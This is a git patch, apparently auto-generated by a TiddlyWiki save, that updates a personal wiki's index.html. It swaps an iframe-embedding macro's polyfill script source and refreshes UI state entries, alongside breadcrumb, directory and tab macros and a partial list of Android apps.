From e95332b42bd689ba0a44be459ef7d2ae1ca4c19a Mon Sep 17 00:00:00 2001 From: OcttKB-TiddlyWiki-Sync Date: Tue, 7 Feb 2023 19:25:52 +0000 Subject: [PATCH] Saved by TiddlyWiki --- public/index.html | 45 +++++++++++++++++++++++++-------------------- 1 file changed, 25 insertions(+), 20 deletions(-) diff --git a/public/index.html b/public/index.html index bddda3f..630398e 100644 --- a/public/index.html +++ b/public/index.html @@ -214,7 +214,7 @@ Error message and password prompt {"created":"20230125222831006","creator":"Octt","text":"/*\\\nHide i18n namespace labels dynamically from the Breadcrumbs line\n(by wrapping them in CSS-selectable elements)\n\\*/\n(function(){\n\"use strict\";\nexports.name = \"i18nBreadcrumbsNamespaceLabelStrip\";\nexports.params = [];\n\nexports.run = function() {\ntry {\n var Languages = $tw.wiki.getTiddler('$:/i18n').fields.Languages.toLowerCase().split(' ');\n var Path = this.getVariable('currentTiddler');\n var Select = `.tc-story-river > div[data-tiddler-title=\"${Path}\"] > .View-Breadcrumbs > .Path-Elem`;\n var List = document.querySelectorAll(Select + ':last-of-type');\n for (var i=0; i \u003C List.length; i++) {\n // At end of tiddler path (e.g: Tests/Misc/Test:en)\n var Name = List[i].innerHTML.trim();\n var Code = Name.toLowerCase().split(':').slice(-1)[0];\n if (Languages.includes(Code)) {\n List[i].innerHTML = `${Name.split(':').slice(0, -1)}\u003Cspan class=\"Inline-Hidden\">:${Code}\u003C/span>`;\n } else {\n // At start of tiddler path (e.g: Testing:en/Misc/Test); handle $:/ prefix if present\n var Index = Path.startsWith('$:/') ? 2 : 1;\n var Code = Path.toLowerCase().split(':')[Index];\n if (Code) {\n Code = Code.split('/')[0];\n if (Languages.includes(Code)) {\n var List = document.querySelectorAll(`${Select}:nth-child(${Index})`);\n for (var i=0; i \u003C List.length; i++) {\n // TODO // List[i].innerHTML = `\u003Cspan class=\"Inline-Hidden\">:${Code}\u003C/span>/${Path.split(':')[Index].split('/').slice(1).join('/')}`;\n };\n };\n };\n };\n };\n} catch(e) {\n $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/Breadcrumbs/i18nNamespaceLabelStrip.js","modified":"20230202185802952","modifier":"Octt","module-type":"macro","type":"application/javascript"}, {"created":"20230129125013039","creator":"Octt","text":"\\whitespace trim\n\n\\define MakeViewBreadcrumbs()\n\u003Cspan class=\"View-Breadcrumbs\">\n\u003C!--\n\u003Ca class=\"Inline-Icon\" href=\"javascript:(alert('TODO copy title to clipboard'))\">{{$:/core/images/folder}}\u003C/a>\n-->\n\u003C!--\n\u003Cdetails>\n \u003Csummary>-\u003C/summary>\n \u003C\u003CDirTreeList>>\n\u003C/details>\n-->\n\u003C$set name=\"Caller\" value=\u003C\u003CcurrentTiddler>>>\u003C!--\n-->\u003C$list filter=\"[\u003CcurrentTiddler>split[/]limit[-1]]\" counter=\"Index\">\u003C!--\n -->\u003Cspan class=\"Path-Elem\" data-path-elem=\u003C\u003CcurrentTiddler>>>\u003C!--\n -->\u003C$link to={{{[\u003CCaller>split[/]limit\u003CIndex>join[/]]}}}>\u003C!--\n -->\u003C\u003CcurrentTiddler>>\u003C!--\n -->\u003C/$link>\u003C!--\n -->\u003C/span>\u003C!--\n -->\u003Cspan class=\"Inline-Sep\">\u003C!--\n -->\u003Cspan>/\u003C/span>\u003C!--\n -->\u003C/span>\u003C!--\n-->\u003C/$list>\u003C!--\n-->\u003C/$set>\u003C!--\n-->\u003C$set name=\"Tiddler\" value={{{[\u003CcurrentTiddler>split[/]last[]]}}}>\u003C!--\n -->\u003Cspan class=\"Path-Elem\" data-path-elem=\u003C\u003CTiddler>>>\u003C!--\n -->\u003Cdetails>\u003C!--\n -->\u003Csummary>\u003C!--\n -->\u003C$text text=\u003C\u003CTiddler>>/>\u003C!--\n -->\u003C/summary>\u003C!--\n -->\u003C\u003CDirTreeList>>\u003C!--\n -->\u003C/details>\u003C!--\n -->\u003C/span>\u003C!--\n-->\u003C/$set>\n\u003C/span>\n\\end","tags":"","title":"$:/Macros/Breadcrumbs/Main","modified":"20230202191100057","modifier":"Octt"}, {"created":"20230109160537807","creator":"Octt","text":"\\whitespace trim\n\n\u003C!-- Directory Features --->\n\n\\define DirTreeList(Prefix)\n\u003C$set name=\"Prefix\" filter=\" $Prefix$\" value=\"$Prefix$\" emptyValue=\u003C\u003CcurrentTiddler>>>\n \u003C$macrocall $name=\"tree_\" prefix={{{[\u003CPrefix>addsuffix[/]]}}}/>\n\u003C/$set>\n\\end\n\n\\define CurDirList()\n\u003C$set name=\"Name\" value=\u003C\u003CGetCurrentDirectoryPath>>>\n\u003Cul>\n\u003C$list filter=\"[prefix\u003CName>]\">\n\t\u003Cli>\n\t\t\u003C$link>\n\t\t\t\u003C\u003CcurrentTiddler>>\n\t\t\u003C/$link>\n\t\u003C/li>\n\u003C/$list>\n\u003C/ul>\n\u003C/$set>\n\\end\n\n\\define TCurDirList(h:\"2\")\n\u003Ch$h$ class=\"DirList-Title\">Directory Listing\u003C/h$h$>\n\u003C\u003CCurDirList>>\n\\end\n\n\\define DirList(Path)\n\u003C$set name=\"Name\" value=\u003C\u003CGetDirectoryPath $Path$>>>\n\u003Cul>\n\u003C$list filter=\"[prefix\u003CName>]\">\n\t\u003Cli>\n\t\t\u003C$link>\n\t\t\t\u003C\u003CcurrentTiddler>>\n\t\t\u003C/$link>\n\t\u003C/li>\n\u003C/$list>\n\u003C/ul>\n\u003C/$set>\n\\end\n\n\\define TDirList(Path h:\"2\")\n\u003Ch$h$ class=\"DirList-Title\">Directory Listing of [[$Path$]]/\u003C/h$h$>\n\u003C\u003CDirList $Path$>>\n\\end\n\n\\define GetCurrentDirectoryPath() $(currentTiddler)$/\n\\define GetDirectoryPath(Path) $Path$/\n\n\u003C!--\n\\define GetDirectoryPath(Path) $Path$/\n\n\\define DirList(Path:\u003C\u003CcurrentTiddler>>)\n\u003C$set name=\"Name\" value=\u003C$macrocall $name=\"GetDirectoryPath\" Path=$Path$/>>>\n\u003Cul>\n\u003C$list filter=\"[prefix\u003CName>]\">\n\t\u003Cli>\n\t\t\u003C$link>\n\t\t\t\u003C\u003CcurrentTiddler>>\n\t\t\u003C/$link>\n\t\u003C/li>\n\u003C/$list>\n\u003C/ul>\n\u003C/$set>\n\\end\n\n\\define TDirList(Path)\n\u003Ch2>Directory Listing\u003C/h2>\n\u003C\u003CDirList $Path$>>\n\\end\n--->","tags":"$:/tags/Macro","title":"$:/Macros/Directory","modified":"20230126202229853","modifier":"Octt"}, -{"created":"20230111212908327","creator":"Octt","text":"\\whitespace trim\n\n\\define iFrame100Style()\nMargin: 0px;\nPadding: 0px;\nWidth: 100vw;\nHeight: 100vh;\n\\end\n\n\\define EmbedFromLine(Link)\n\u003Cp class=\"Embed-From EmbedFrom\">Embed of [[$Link$]]\u003C/p>\n\\end\n\n\\define iFrame(Src Class:\"iFrame100\" Attrs)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Cinput class=\"NoSelect Checkbox-Btn Embed-Fullscreen-Btn\" type=\"checkbox\" label=\"Fullscreen\"/>\n\u003Clabel class=\"NoSelect Checkbox-Btn Embed-Fullscreen-Btn\">Fullscreen\u003C/label>\n\u003Ciframe class=\"$Class$\" frameborder=\"0\" $Attrs$ src=\"$Src$\">\u003C/iframe>\n\\end\n\n\\define iFrameFixed(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrame \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\\define iFrameBypassFixed(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrameBypass \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\\define iFrameFixedBypass(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrameBypass \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\n\\define iFrameBypass(Src Class:\"iFrame100\" Attrs)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe class=\"$Class$\" frameborder=\"0\" $Attrs$ src='\ndata:text/html;utf8,\n\u003C!DOCTYPE html>\n\u003C!-- Code from X-Frame-Bypass: \u003Chttps://github.com/niutech/x-frame-bypass> --->\n\u003Chtml>\n\u003Chead>\n \u003Cstyle>\n html, body { overflow: hidden; }\n html, body, iframe { margin: 0px; padding: 0px; width: 100%; height: 100%; border: none; }\n \u003C/style>\n \u003Cscript src=\"https://unpkg.com/@ungap/custom-elements-builtin\">\u003C/script>\n \u003Cscript src=\"https://octospacc.gitlab.io/pastebin/x-frame-bypass.js\" type=\"module\">\u003C/script>\n\u003C/head>\n\u003Cbody>\u003Ciframe frameborder=\"0\" is=\"x-frame-bypass\" src=\"$Src$\">\u003C/iframe>\u003C/body>\n\u003C/html>\n'>\u003C/iframe>\n\\end\n\n\\define iFrame100(Src)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=\"$Src$\">\u003C/iframe>\n\\end\n\n\\define iFrame100NoScroll(Src)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=\"$Src$\" scrolling=\"no\">\u003C/iframe>\n\\end\n\n\\define iFrame100UriDirect(Src)\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=$Src$>\u003C/iframe>\n\\end\n\n\\define iFrame100Tid(Tid)\n\u003C\u003CEmbedFromLine \"$Tid$\">>\n\u003C\u003CiFrame100UriDirect \"\"\"\u003C\u003Cb64TidUriEnc \"$Tid$\">>\"\"\">>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/Frames","modified":"20230130154647493","modifier":"Octt"}, +{"created":"20230111212908327","creator":"Octt","text":"\\whitespace trim\n\n\\define iFrame100Style()\nMargin: 0px;\nPadding: 0px;\nWidth: 100vw;\nHeight: 100vh;\n\\end\n\n\\define EmbedFromLine(Link)\n\u003Cp class=\"Embed-From EmbedFrom\">Embed of [[$Link$]]\u003C/p>\n\\end\n\n\\define iFrame(Src Class:\"iFrame100\" Attrs)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Cinput class=\"NoSelect Checkbox-Btn Embed-Fullscreen-Btn\" type=\"checkbox\" label=\"Fullscreen\"/>\n\u003Clabel class=\"NoSelect Checkbox-Btn Embed-Fullscreen-Btn\">Fullscreen\u003C/label>\n\u003Ciframe class=\"$Class$\" frameborder=\"0\" $Attrs$ src=\"$Src$\">\u003C/iframe>\n\\end\n\n\\define iFrameFixed(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrame \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\\define iFrameBypassFixed(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrameBypass \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\\define iFrameFixedBypass(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrameBypass \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\n\\define iFrameBypass(Src Class:\"iFrame100\" Attrs)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe class=\"$Class$\" frameborder=\"0\" $Attrs$ src='\ndata:text/html;utf8,\n\u003C!DOCTYPE html>\n\u003C!-- Code from X-Frame-Bypass: \u003Chttps://github.com/niutech/x-frame-bypass> --->\n\u003Chtml>\n\u003Chead>\n \u003Cstyle>\n html, body { overflow: hidden; }\n html, body, iframe { margin: 0px; padding: 0px; width: 100%; height: 100%; border: none; }\n \u003C/style>\n \u003Cscript src=\"https://octospacc.gitlab.io/pastebin/custom-elements-builtin.0.6.5.min.js\">\u003C/script>\n \u003Cscript src=\"https://octospacc.gitlab.io/pastebin/x-frame-bypass.js\" type=\"module\">\u003C/script>\n\u003C/head>\n\u003Cbody>\u003Ciframe frameborder=\"0\" is=\"x-frame-bypass\" src=\"$Src$\">\u003C/iframe>\u003C/body>\n\u003C/html>\n'>\u003C/iframe>\n\\end\n\n\\define iFrame100(Src)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=\"$Src$\">\u003C/iframe>\n\\end\n\n\\define iFrame100NoScroll(Src)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=\"$Src$\" scrolling=\"no\">\u003C/iframe>\n\\end\n\n\\define iFrame100UriDirect(Src)\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=$Src$>\u003C/iframe>\n\\end\n\n\\define iFrame100Tid(Tid)\n\u003C\u003CEmbedFromLine \"$Tid$\">>\n\u003C\u003CiFrame100UriDirect \"\"\"\u003C\u003Cb64TidUriEnc \"$Tid$\">>\"\"\">>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/Frames","modified":"20230207182549437","modifier":"Octt"}, {"created":"20220926113710012","text":"\\define i18n-target()\n\u003C$list filter=\"[[$(currentTiddler)$]tags[]prefix[i18n:]split[:]last[]]\">\n\t\u003Cspan style=\"Padding:8px;\">\n\t\t\u003C\u003CcurrentTiddler>>\n\t\u003C/span>\n\u003C/$list>\n\\end\n\n\\define i18n()\n\u003Cstyle>\n\t/* Rainbow gradient from https://stackoverflow.com/a/63302468 */\n\t.LanguageBox {\n\t\tBorder: Solid Black 1px;\n\t\tPadding: 4px;\n\t\tBackground: Linear-Gradient(\n\t\t\t90deg,\n\t\t\tRGBA(255, 0, 0, 1) 0%,\n\t\t\tRGBA(255, 154, 0, 1) 10%,\n\t\t\tRGBA(208, 222, 33, 1) 20%,\n\t\t\tRGBA(79, 220, 74, 1) 30%,\n\t\t\tRGBA(63, 218, 216, 1) 40%,\n\t\t\tRGBA(47, 201, 226, 1) 50%,\n\t\t\tRGBA(28, 127, 238, 1) 60%,\n\t\t\tRGBA(95, 21, 242, 1) 70%,\n\t\t\tRGBA(186, 12, 248, 1) 80%,\n\t\t\tRGBA(251, 7, 217, 1) 90%,\n\t\t\tRGBA(255, 0, 0, 1) 100%\n\t\t);\n\t}\n\t.LanguageBox > Div {\n\t\tBorder: Solid Black 1px;\n\t\tPadding: 4px;\n\t\tFont-Size: Larger;\n\t\tText-Align: Center;\n\t\tBackground: White;\n\t}\n\u003C/style>\n\u003Cdiv class=\"LanguageBox\">\u003Cdiv>\n\t\u003C$vars id={{!!i18n}}>\n\t\t\u003C$list filter=\"[!is[system]contains:i18n\u003Cid>]\">\n\t\t\t\u003C$link>\n\t\t\t\t\u003C$macrocall $name=\"i18n-target\"/>\n\t\t\t\u003C/$link>\n\t\t\u003C/$list>\n\t\u003C/$vars>\n\u003C/div>\u003C/div>\n\\end","tags":"$:/tags/Macro","title":"$:/Macros/i18n","modified":"20230108195259126"}, {"created":"20220922135257709","text":"\u003C!-- The following code is almost totally derived from [[$:/core/macros/tabs]] --->\n\n\\define ltabs-button()\n\\whitespace trim\n\u003C$button set=\u003C\u003CltabsState>> setTo=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> selectedClass=\"tc-tab-selected\" tooltip={{!!tooltip}} role=\"switch\">\n\t\u003Cspan> [[#|$(currentTab)$]] \u003C/span>\n\t\u003C$tiddler tiddler=\u003C\u003Csave-currentTiddler>>>\n\t\t\u003C$set name=\"tv-wikilinks\" value=\"no\">\n\t\t\t\u003C$transclude tiddler=\u003C\u003C__buttonTemplate__>> mode=\"inline\">\n\t\t\t\t\u003C$transclude tiddler=\u003C\u003CcurrentTab>> field=\"caption\">\n\t\t\t\t\t\u003C$macrocall $name=\"currentTab\" $type=\"text/plain\" $output=\"text/plain\"/>\n\t\t\t\t\u003C/$transclude>\n\t\t\t\u003C/$transclude>\n\t\t\u003C/$set>\n\t\u003C/$tiddler>\n\t\u003C\u003C__actions__>>\n\u003C/$button>\n\\end\n\n\\define ltabs-tab()\n\\whitespace trim\n\u003C$set name=\"save-currentTiddler\" value=\u003C\u003CcurrentTiddler>>>\n\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\u003C\u003Cltabs-button>>\n\t\u003C/$tiddler>\n\u003C/$set>\n\\end\n\n\\define ltabs-tab-list()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__ltabsList__>> variable=\"currentTab\" storyview=\"pop\">\n\t\u003C\u003Cltabs-tab>>\n\u003C/$list>\n\\end\n\n\\define ltabs-tab-body()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__ltabsList__>> variable=\"currentTab\">\n\t\u003C$reveal type=\"match\" state=\u003C\u003CltabsState>> text=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> retain=\u003C\u003C__retain__>> tag=\"div\">\n\t\t\u003C$transclude tiddler=\u003C\u003C__template__>> mode=\"block\">\n\t\t\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\t\t\u003C$transclude mode=\"block\" />\n\t\t\t\u003C/$tiddler>\n\t\t\u003C/$transclude>\n\t\u003C/$reveal>\n\u003C/$list>\n\\end\n\n\\define ltabs(ltabsList,default,state:\"$:/state/tab\",class,template,buttonTemplate,retain,actions,explicitState)\n\\whitespace trim\n\u003C$qualify title=\u003C\u003C__state__>> name=\"qualifiedState\">\n\t\u003C$let ltabsState={{{ [\u003C__explicitState__>minlength[1]] ~[\u003CqualifiedState>] }}}>\n\t\t\u003Cdiv class={{{ [[tc-tab-set]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-buttons]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Cltabs-tab-list>>\n\t\t\t\u003C/div>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-divider]addsuffix[ ]addsuffix\u003C__class__>] }}}/>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-content]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Cltabs-tab-body>>\n\t\t\t\u003C/div>\n\t\t\u003C/div>\n\t\u003C/$let>\n\u003C/$qualify>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/ltabs","modified":"20220925154754580"}, {"created":"20220920092322164","creator":"Octt","text":"\\whitespace trim\n\n\u003C!-- Transclude with clickable link --->\n\\define #:(Name)\n\u003Cstyle>\n.Transcluding > h1,\n.Transcluding > h2,\n.Transcluding > h3,\n.Transcluding > h4,\n.Transcluding > h5,\n.Transcluding > h6 {\nDisplay: Inline;\n}\n\u003C/style>\n\u003Cdiv class=\"Transcluding\">\n[[#|$Name$]]\n{{$Name$}}\n\u003C/div>\n\\end\n\n\u003C!-- Link to currentTiddler --->\n\\define lself() [[$(currentTiddler)$]]\n\\define #lself() [[#|$(currentTiddler)$]]\n\n\u003C!-- Field Checkbox --->\n\\define x#(Field Text)\n\u003C$checkbox field=\"$Field$\" checked=\"true\" unchecked=\"false\" default=\"false\"> $Text$\u003C/$checkbox>\n\\end\n\n\\define Table(Rows) \u003Ctable class=\"Octt-Table\" style=\"Width:100%;\">\u003Cstyle>.Octt-Table tr:nth-child(odd){background-color:#EEEEEE;}\u003C/style>$Rows$\u003C/table>\n\n\\define ColorText(Text Foreground)\n\u003Cspan style=\"Color:$Foreground$;\">$Text$\u003C/span>\n\\end\n\n\\define ColorSpan(Text Background)\n\u003Cspan style=\"Color:#FFFFFF; Background-Color:$Background$;\">$Text$\u003C/span>\n\\end\n\n\\define LImg(Src Href Alt)\n\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"$Href$\">\u003Cimg src=\"$Src$\" alt=\"$Alt$\">\u003C/a>\n\\end\n\n\\define StrAppend(Str Suffix Prefix) $Prefix$$Str$$Suffix$\n\n\\define FDroidLink(Package, Title:\"F-Droid\") [[$Title$|https://f-droid.org/en/packages/$Package$]]\n\n\\define GPlayLink(Package, Title:\"GPlay\") [[$Title$|https://play.google.com/store/apps/details?id=$Package$]]\n\n\\define TwitterLink(Path, Title:\"Twitter\") [[$Title$|https://twitter.com/$Path$]]\n\n\\define MatrixLink(ID, Title:\"Matrix\") [[$Title$|https://matrix.to/#/$ID$]]\n","tags":"$:/tags/Macro","title":"$:/Macros/Main","modified":"20230206211028469","modifier":"Octt"}, @@ -390,7 +390,7 @@ Error message and password prompt {"created":"20221108100203119","title":"$:/state/plugin-info-1785259528-$:/plugins/tiddlywiki/codemirror-mode-x-tiddlywiki---1739364784","text":"contents","modified":"20221108100244432"}, {"created":"20220920140149154","title":"$:/state/plugin-info-1958370054-$:/core--2000059281","text":"contents","modified":"20220920140149154"}, {"created":"20230108195707554","title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","text":"readme","modified":"20230108195709210"}, -{"created":"20220920140732083","creator":"Octt","title":"$:/state/showeditpreview","text":"no","modified":"20230206222546656","modifier":"Octt"}, +{"created":"20220920140732083","creator":"Octt","title":"$:/state/showeditpreview","text":"no","modified":"20230207192528568","modifier":"Octt"}, {"created":"20220920114858684","title":"$:/state/ShowPaletteEditor","text":"yes","modified":"20220920114858684"}, {"created":"20220920174307633","creator":"Octt","title":"$:/state/sidebar","text":"yes","modified":"20230205142034650","modifier":"Octt"}, {"created":"20220922115715109","title":"$:/state/tab--1091387428","text":"Music Archiving Status/Desired","modified":"20220923072023997"}, @@ -417,17 +417,17 @@ Error message and password prompt {"created":"20230108195829187","title":"$:/state/tab-791689762","text":"$:/plugins/tiddlywiki/qrcode/MakeContactQR","modified":"20230108195830858"}, {"created":"20230110152841020","title":"$:/state/tab-914888664","text":"$:/core/ui/TiddlerInfo/References","modified":"20230110152841020"}, {"created":"20220921221238452","title":"$:/state/tab-99014043","text":"$:/core/ui/ControlPanel/EditTemplateBody","modified":"20220921221239099"}, -{"created":"20220920114911876","creator":"Octt","title":"$:/state/tab/moresidebar-1850697562","text":"$:/core/ui/MoreSideBar/Tags","modified":"20230206203941715","modifier":"Octt"}, -{"created":"20220920092307479","creator":"Octt","title":"$:/state/tab/sidebar--595412856","text":"TableOfContents","modified":"20230206220409489","modifier":"Octt"}, +{"created":"20220920114911876","creator":"Octt","title":"$:/state/tab/moresidebar-1850697562","text":"$:/core/ui/MoreSideBar/Explorer","modified":"20230207180542334","modifier":"Octt"}, +{"created":"20220920092307479","creator":"Octt","title":"$:/state/tab/sidebar--595412856","text":"TableOfContents","modified":"20230207192004983","modifier":"Octt"}, {"created":"20220920114638764","creator":"Octt","title":"$:/state/tabs/controlpanel/toolbars-1345989671","text":"$:/core/ui/ControlPanel/Toolbars/PageControls","modified":"20230128224606306","modifier":"Octt"}, {"created":"20230109231545587","text":"inline","title":"$:/state/tag-cloud-count","modified":"20230109231831243"}, -{"created":"20230203215715564","creator":"Octt","title":"$:/state/toc/TableOfContents-$:/Tools--1742311157","text":"open","modified":"20230206203737338","modifier":"Octt"}, +{"created":"20230203215715564","creator":"Octt","title":"$:/state/toc/TableOfContents-$:/Tools--1742311157","text":"close","modified":"20230207175831805","modifier":"Octt"}, {"created":"20230111212759834","title":"$:/state/toc/TableOfContents-Apps--1089262602","text":"close","modified":"20230111212800395"}, {"created":"20230109161519933","title":"$:/state/toc/TableOfContents-Apps--118161433","text":"close","modified":"20230109221359461"}, {"created":"20230113225711354","title":"$:/state/toc/TableOfContents-Apps--1742311157","text":"close","modified":"20230113225714092"}, {"created":"20230111152831238","title":"$:/state/toc/TableOfContents-Apps-550494662","text":"close","modified":"20230111152835422"}, {"created":"20230109221055460","title":"$:/state/toc/TableOfContents-OcttKB--118161433","text":"close","modified":"20230109222508816"}, -{"created":"20230110183137080","creator":"Octt","title":"$:/state/toc/TableOfContents-OcttKB--1742311157","text":"close","modified":"20230206203736234","modifier":"Octt"}, +{"created":"20230110183137080","creator":"Octt","title":"$:/state/toc/TableOfContents-OcttKB--1742311157","text":"close","modified":"20230207192217351","modifier":"Octt"}, {"created":"20230110193924411","title":"$:/state/toc/TableOfContents-OcttKB-1491465924","text":"close","modified":"20230112145642401"}, {"created":"20230126190600213","creator":"Octt","title":"$:/state/tree/$:/","text":"hide","modified":"20230126190604989","modifier":"Octt"}, {"created":"20230110224516936","title":"$:/state/tree/$:/.tb/","text":"show","modified":"20230110224516936"}, @@ -523,7 +523,7 @@ Error message and password prompt {"created":"20220920211944968","text":"{{$:/OcttKB/StaticBanner}}","tags":"","title":"$:/StaticBanner","modified":"20230112221911675"}, {"title":"$:/status/RequireReloadDueToPluginChange","text":"no"}, {"created":"20230117123049592","creator":"O","title":"$:/status/UserName","text":"Octt","modified":"20230117123050206","modifier":"Oct"}, -{"title":"$:/StoryList","created":"20230206190314988","creator":"Octt","text":"","list":"[[Draft of 'Xiaomi Redmi 9T' by Octt]] $:/Manager OcttKB/Data","modified":"20230206223527271","modifier":"Octt"}, +{"title":"$:/StoryList","created":"20230207180039830","creator":"Octt","text":"","list":"","modified":"20230207192228288","modifier":"Octt"}, {"created":"20230114161404958","text":"/*\\\nCredits: 1337box by Leah Rowe, Creative Commons Zero 1.0\nInfo: \u003Chttps://vimuser.org/1337box.html>\n\\*/\n.f, .f * {\n position: fixed;\n max-width: 100%;\n max-height: 100%;\n top: 50%;\n left: 50%\n}\n.f * { transform: translate(-50%,-50%) }\n.f {\n display: none;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 999;\n background:rgba(0,0,0,0.8);\n}\n*:focus + .f { display:block; }\nimg { cursor:pointer; }\n","title":"$:/Styles/1337box/shadow.css","modified":"20230114163044372","type":"text/css","tags":""}, {"created":"20230124224040783","creator":"Octt","text":"\u003C!-- Original image is by \u003Chttps://bilibili.com> -->\n\u003C!-- \u003Cdiv -->\n\u003Ca\nclass=\"bilibili-back-to-top\"\ntitle=\"Cute little lolis from bilibili to help you reach the top of the page...\"\nstyle=\"\n\ndisplay: block; \nposition: fixed;\n/*\nbottom: 100px;\nright: 20px;\n*/\nbottom: 4px;\nleft: 4px;\ntransform: translateY(0px);\nwidth: 62px;\nheight: 85px;\n/*\nmargin-left: 602px;\n*/\ntransform: scale(0.5);\ncursor: pointer;\nbackground-image: url(https://s1.hdslb.com/bfs/static/jinkela/space/assets/space-to-top.png);\nbackground-position: -40px -44px;\n\n\" href=\"javascript:(function(){\n\nvar Select = [\n '.tc-story-river > .story-backdrop',\n '.tc-sidebar-scrollable .tc-sidebar-header .tc-site-title',\n];\nfor (var i=0; i \u003C Select.length; i++) {\n var Elem = document.querySelectorAll(Select[i])[0];\n Elem.scrollIntoView();\n};\nalert('TODO animation');\n\n})();\">\u003C/a>\n\u003C!--\n\" onclick=\"\n\">\u003C/div>\n-->","tags":"","title":"$:/Styles/bilibili-back-to-top.html","modified":"20230127171431680","modifier":"Octt"}, {"created":"20230126091040410","creator":"Octt","text":".tc-story-river > .tc-tiddler-frame > .tc-tiddler-title .tc-title { display: none; }\n\n.tc-story-river > .tc-tiddler-frame > .View-Breadcrumbs {\n opacity: 0.80;\n/*\n font-size: xx-large;\n margin-top: 0px;\n margin-bottom: -1.5em;\n position: sticky;\n z-index: 512;\n*/\n}\n.tc-story-river > .tc-tiddler-frame:not(.tc-tiddler-missing) > .View-Breadcrumbs > * {\n /*font-style: normal !important;*/\n opacity: 0.40;\n}\n.tc-story-river > .tc-tiddler-frame:not(.tc-tiddler-missing) > .View-Breadcrumbs:hover > * { opacity: 0.80; }\n.tc-story-river > .tc-tiddler-frame > .View-Breadcrumbs > .Inline-Icon > * {\n width: 1em;\n height: 1em;\n vertical-align: top;\n}\n\n/*.View-Breadcrumbs { display: inline-flex; }*/\n\n/*.View-Breadcrumbs > .Inline-Sep:not(.View-Breadcrumbs > .Inline-Sep:last-of-type):before*/\n.View-Breadcrumbs > .Inline-Sep { padding-left: 0.3em; padding-right: 0.3em; }\n.View-Breadcrumbs > .Inline-Sep:after { content: '>'; font-size: smaller; }\n.View-Breadcrumbs > .Inline-Sep > span { font-size: 0px; }\n\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] > a,\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep\n{ color: gray; padding-left: 0em; }\n\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep:after { content: ''; }\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep > span { font-size: revert; font-size: smaller; }\n\n.View-Breadcrumbs > .Path-Elem:last-of-type { cursor: pointer; }\n.View-Breadcrumbs details { display: inline; vertical-align: top; }\n.View-Breadcrumbs details > summary { list-style: none; }\n.View-Breadcrumbs details > .tc-tree { font-size: initial; line-height: 1rem; }\n.View-Breadcrumbs details > .tc-tree > span { display: none; }\n","title":"$:/Styles/Breadcrumbs.css","modified":"20230202191335339","modifier":"Octt","type":"text/css","tags":"$:/tags/Stylesheet"}, @@ -584,7 +584,7 @@ Error message and password prompt {"created":"20230108192258947","text":"\u003C\u003CMediaWiki ActivityPub en 1>>","title":"ActivityPub:en","modified":"20230111152725841","tags":"TODO"}, {"created":"20230205150256998","creator":"Octt","text":"","tags":"TODO","title":"Amazon Kindle","modified":"20230205150306026","modifier":"Octt"}, {"created":"20230202230035698","creator":"Octt","text":"\u003C\u003CMediaWiki Android_(operating_system) en 5>>","tags":"","title":"Android","modified":"20230206192339925","modifier":"Octt"}, -{"created":"20230205151705787","creator":"Octt","text":"List of some Android apps to keep in mind.\n\n* AccA\n* Activity Launcher\n* AdAway\n* AIDA64\n* Andronix\n* Antutu\n* APK Editor Pro\n* B612\n* Color\n* Cryptomator\n* dotpict\n* Gadgetbridge\n* GitJournal\n* ibisPaint X\n* LibreTorrent\n* Linux Deploy\n* Lucky Patcher\n* Magisk\n* Material Files\n* Mi Remote\n* MiXplorer\n* Music 